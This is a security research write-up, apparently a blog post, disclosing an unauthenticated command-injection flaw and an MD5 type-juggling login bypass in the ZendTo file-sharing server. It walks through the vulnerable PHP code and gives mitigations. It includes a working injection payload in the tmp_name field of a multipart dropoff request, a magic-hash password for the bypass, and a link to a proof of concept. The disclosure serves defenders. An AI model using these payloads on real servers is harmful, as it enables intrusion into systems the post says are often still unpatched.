ZendTo NDay Vulnerability Hunting - Unauthenticated RCE in v5.24-3 <= v6.10-4

Discovering NDay flaws in ZendTo filesharing software highlighted an interesting fact: without the issuance of CVEs, vulnerabilities can easily go unpatched.

ZendTo NDay Vulnerability Hunting - Unauthenticated RCE in v5.24-3 <= v6.10-4

File-sharing software is always a fun target for security research. It's usually internet facing and often used by large organisations, ZendTo is no exception.

ZendTo is a completely free web-based system, which you can run on your own server with complete safety and security. It runs from any Linux / Unix server or virtualisation system, there is no size limit and it will send files 50% faster than by email.

During our investigation, we spotted a quite a few of instances of ZendTo that aren't patched for the unauthenticated RCE N-Day we uncovered. đź‘€

đź’ˇ
ZendTo instances are easily discoverable and by default publish a version header making it trivial to spot vulnerable installations.

My research uncovered two vulnerabilities of high impact:

  1. Unauthenticated File Dropoff Remote Code Execution (RCE) - ZendTo v5.24-3 <= v6.10-4
  2. Authentication Bypass via Type Juggling - ZendTo <= v5.03-1
    1. For ZendTo > v5.03-1 authentication bypass is still possible for users with legacy MD5 hashes.

Unauthenticated File Dropoff Remote Code Execution - ZendTo v5.24-3 <= v6.10-4

While reviewing ZendTo's changelog, we noticed a vague reference to a 'security fix' - no CVE, no severity rating, and no technical details about the impact are published.

The only hint of a pretty severe issue.

This prompted us to investigate what this change actually fixed. As it turns out, the security fix patched a serious unauthenticated remote code execution vulnerability.

One key feature of ZendTo is the file Drop-off functionality. Here's how the functionality works:

  1. Authentication: Users login or perform an anonymous Drop-off via email verification.
    1. Some organisations turn off anonymous Drop-off but the vast majority of instances have this enabled.
  2. Drop-off Initiation: After clicking the button, users provide some information including the recipient of the file.
  3. File Selection: Users attach one or more files for transfer.
  4. Virus Scanning: Before processing, the system scans the file using ClamAV (important).
  5. Completion: Clean files are successfully uploaded and queued for delivery.

By default, anonymous file Drop-off is permitted. The only restriction is that the recipient of your file Drop-off needs to have an email address associated with an 'internal' domain (normally the hosting organisation's domain name).

root@70982d4a0ff9:/tmp# cat /opt/zendto/config/internaldomains.conf
# In here you can list the domain names that contain email addresses of
# your own users.
# When people from outside your organisation try to send dropoffs,
# they can only send them to people *within* your organisation.
# (Else people outside would use your service to send pr0n and ware2 to
# other people outside, which would be A Very Bad Thing(tm).)

Colourful comments in configuration files

Screenshot from a vulnerable instance we found.

During the Drop-off process, 2 POST requests are made by the client:

  1. POST /savechunk
  2. POST /dropoff

Let's take a look at each of them.

POST /savechunk

Inspecting the POST /savechunk request, there's a couple of fields of interest:

  1. chunkName: name of the file
  2. chunkOf: "extension" or identifier of the file
POST /savechunk HTTP/1.1

[...SNIP...]

------WebKitFormBoundaryPlxJ0HYYjGjTMABV
Content-Disposition: form-data; name="chunkName"

aWtiE8rpoihPTGsVNGCxpHDohzbc7tSc

------WebKitFormBoundaryPlxJ0HYYjGjTMABV
Content-Disposition: form-data; name="chunkOf"

1
------WebKitFormBoundaryPlxJ0HYYjGjTMABV
Content-Disposition: form-data; name="chunkData"; filename="blob"
Content-Type: application/octet-stream

<?php echo "Project Black"; ?>
------WebKitFormBoundaryPlxJ0HYYjGjTMABV--

With the above request, the uploaded file looks something like this: path-to-upload/aWtiE8rpoihPTGsVNGCxpHDohzbc7tSc.1

If we could manipulate some of these fields we may be able to upload a PHP file to within the web root, however taking a quick look at the code where this is implemented - savechunk.php, there are 3 primary factors that block this.

  1. By default, the uploaded location is outside of the web root directory.
 39   $dirName = ini_get('upload_tmp_dir');

A small script might help us to confirm that.

$ cat upload_dir.php
<?php

require "../config/preferences.php";

$dirName = ini_get('upload_tmp_dir');
echo $dirName;
echo "\n";

?>
$ php upload_dir.php
/var/zendto/incoming
  1. The chunkName value is passed into the $name variable (line 49). Any non-alphabetic characters are then removed (line 52). In other words, attempts at path traversals will fail due to the violated . and / characters.
 49   $name = @$_POST['chunkName'];
...
 51   // Sanitise the chunkName
 52   $lastElement = preg_replace('/[^0-9a-zA-Z]/', '', $name);
  1. Finally, the chunkOf value is restricted to only numbers.
 74   $number = @$_POST['chunkOf'];
 75   $fileNum = preg_replace('/[^0-9]/', '', $number);

Moving on to the dropoff request.

POST /dropoff

The dropoff request is where the actual processing of the files occurs and where our RCE lies. The vanilla request looks something like the following:

POST /dropoff HTTP/1.1

[...SNIP...]

------WebKitFormBoundaryAnbtGG8mSSGTMjRY
Content-Disposition: form-data; name="Action"

dropoff

------WebKitFormBoundaryAnbtGG8mSSGTMjRY
Content-Disposition: form-data; name="chunkName"

aWtiE8rpoihPTGsVNGCxpHDohzbc7tSc

------WebKitFormBoundaryAnbtGG8mSSGTMjRY
Content-Disposition: form-data; name="file_1"

{"name":"test.php","type":"","size":"34","tmp_name":"1","error":0}

[...SNIP...]

The handling of the file drop-off is within this NSSDropoff class.

Interestingly, the code calls chmod against our uploaded files exec("/bin/chmod go+r " . $ccfilelist); on line 2992.

If we can control $ccfilelist then we have RCE.

2970     $clamdscancmd = $this->_dropbox->clamdscan();
2971     if ($clamdscancmd != 'DISABLED') {
2972       $ccfilecount = 1;
2973       $ccfilelist = '';
2974       $foundsometoscan = FALSE;
...
2979         $filekey = "file_".$ccfilecount;
2980         $selectkey = "file_select_".$ccfilecount;
...
2986           $ccfilelist .= ' ' . $_FILES[$filekey]['tmp_name'];
2987           $foundsometoscan = TRUE;
2988         }
2989         $ccfilecount++;
2990       }
2991       if ($foundsometoscan) { // Don't do any of this if they uploaded nothing
2992         exec("/bin/chmod go+r " . $ccfilelist); // Need clamd to read them!
2993         $clamdinfected = 0;
2994         $clamdoutput = array();
2995         $clamcmd = exec($clamdscancmd . $ccfilelist,
2996                         $clamdoutput, $clamdinfected);

On line 2986, the $ccfilelist variable is appears to be defined by temporary file path - tmp_name which is randomly generated by PHP.

[tmp_name] => /tmp/php/php1h4j1o (could be anywhere on your system, depending on your config settings, but the user has no control, so this isn't tainted)
https://www.php.net/manual/en/reserved.variables.files.php

However, this value is overwritten earlier to a value provided by the user without any sanitisation (line 2903).

2530     $chunkName = preg_replace('/[^0-9a-zA-Z]/', '', $_POST['chunkName']);
2531     $chunkName = substr($chunkName, 0, 100);
2532     $chunkPath = ini_get('upload_tmp_dir');
...
2535     $chunkPath .= $chunkName;
...
2890     for ($i=1; $i<=$this->maxFilesKey; $i++) {
2891       $key = 'file_'.$i;
2892       if (array_key_exists($key, $_POST) && !empty($_POST[$key])) {
2893         // The file has been uploaded in chunks
2894         $json = $_POST[$key];
2895         $f = json_decode($json, TRUE);
...
2903           $new['tmp_name'] = $chunkPath . '.' . $f['tmp_name'];
⚠️
In an attempt to make things more secure by scanning uploads with ClamAV, the developers have introduced an RCE vulnerability.

Exploitation is a simple as sending a request with a tmp_name of 1;command.

------WebKitFormBoundaryAnbtGG8mSSGTMjRY
Content-Disposition: form-data; name="chunkName"

aWtiE8rpoihPTGsVNGCxpHDohzbc7tSc

[...SNIP...]

------WebKitFormBoundaryAnbtGG8mSSGTMjRY
Content-Disposition: form-data; name="file_1"

{"name":"test.php","type":"","size":"34","tmp_name":"1;touch /tmp/pwn;","error":0}

The request above will cause the server to create a /tmp/pwn file.

If you'd like to test exploitation, a quick lab environment can be created using our POC.

pocs/ZendTo_5.24-3TO6.10-4_RCE at main · prjblk/pocs
This repository contains Proof of Concept (PoC) exploits for public vulnerabilities. - prjblk/pocs

Mitigation

Only ZendTo v5.24-3 <= v6.10-4 instances are vulnerable, so upgrading the server to ZendTo >= v6.10-7 will remediate the vulnerability.

Authentication Bypass via Type Juggling - ZendTo <= v5.03-1

This brings us to my second discovery. An authentication bypass which affects all users with a legacy MD5 local password hash.

If you are using local authenticator (default) to manage users on ZendTo <= v5.03-1, the authentication process will be handled by the following code block.

// ./lib/NSSAuthenticator.php

115   public function authenticate( &$uname, $password, &$response )
116   {
117     $result = FALSE;
118
119     if ( preg_match($this->_prefs['usernameRegexp'], strtolower($uname),$pieces) )
120     {
121       $q = $this->_db->DBReadLocalUser($uname);
122
123       if ($q) {
124         if (md5($password) == $q[0]['password']) {
125           $response = array(
126               'uid'   => $q[0]['username'],
127               'mail'  => $q[0]['mail'],
128               'cn'    => $q[0]['displayname'],
129               'displayName' => $q[0]['displayname'],
130               'organization' => $q[0]['organization']
131           );
132           $result = TRUE;
133         } else {
134           $result = FALSE;
135         }
136       } else {
137         $result = FALSE;
138       }
139
140       //  Chain to the super class for any further properties to be added
141       //  to the $response array:
142       parent::authenticate($uname,$password,$response);
143     }
144     return $result;
145   }

On line 124, our input password is hashed using the md5 algorithm and is loosely compared using the == operator.

121       $q = $this->_db->DBReadLocalUser($uname);
...
124         if (md5($password) == $q[0]['password']) {

If a md5 string starts with 0e followed by only numbers, PHP will interprets it as scientific notation. For instance, 0e1234 will be interpreted as a floating-point number 0*10^1234 , which is 0 and 0 == 0 -> true.

In other words, if a user has a MD5 password and their hash happens to start with 0e and end in a number.

We can use any passwords in the below list to login as that user.

hashes/md5.md at master · spaze/hashes
Magic hashes – PHP hash “collisions”. Contribute to spaze/hashes development by creating an account on GitHub.

To demonstrate, lets assume that there is a user with a vulnerable password.

sqlite> select * from usertable;
jay|0e132123456789123456789123456789|[email protected]|Jay|Prjblk|

Due to the type juggling vulnerability, we can log in with any other password that makes the resulting MD5 hash look like a number.

MD5(1R7jqMIf6T7t): 0e381567347928220347073343854712

Mitigation

First, upgrade ZendTo to a version >= v5.04-7 then have all users log in as least once to transition their password to bcrypt.

For ZendTo > v5.03-1 authentication bypass is still possible for users with legacy MD5 hashes.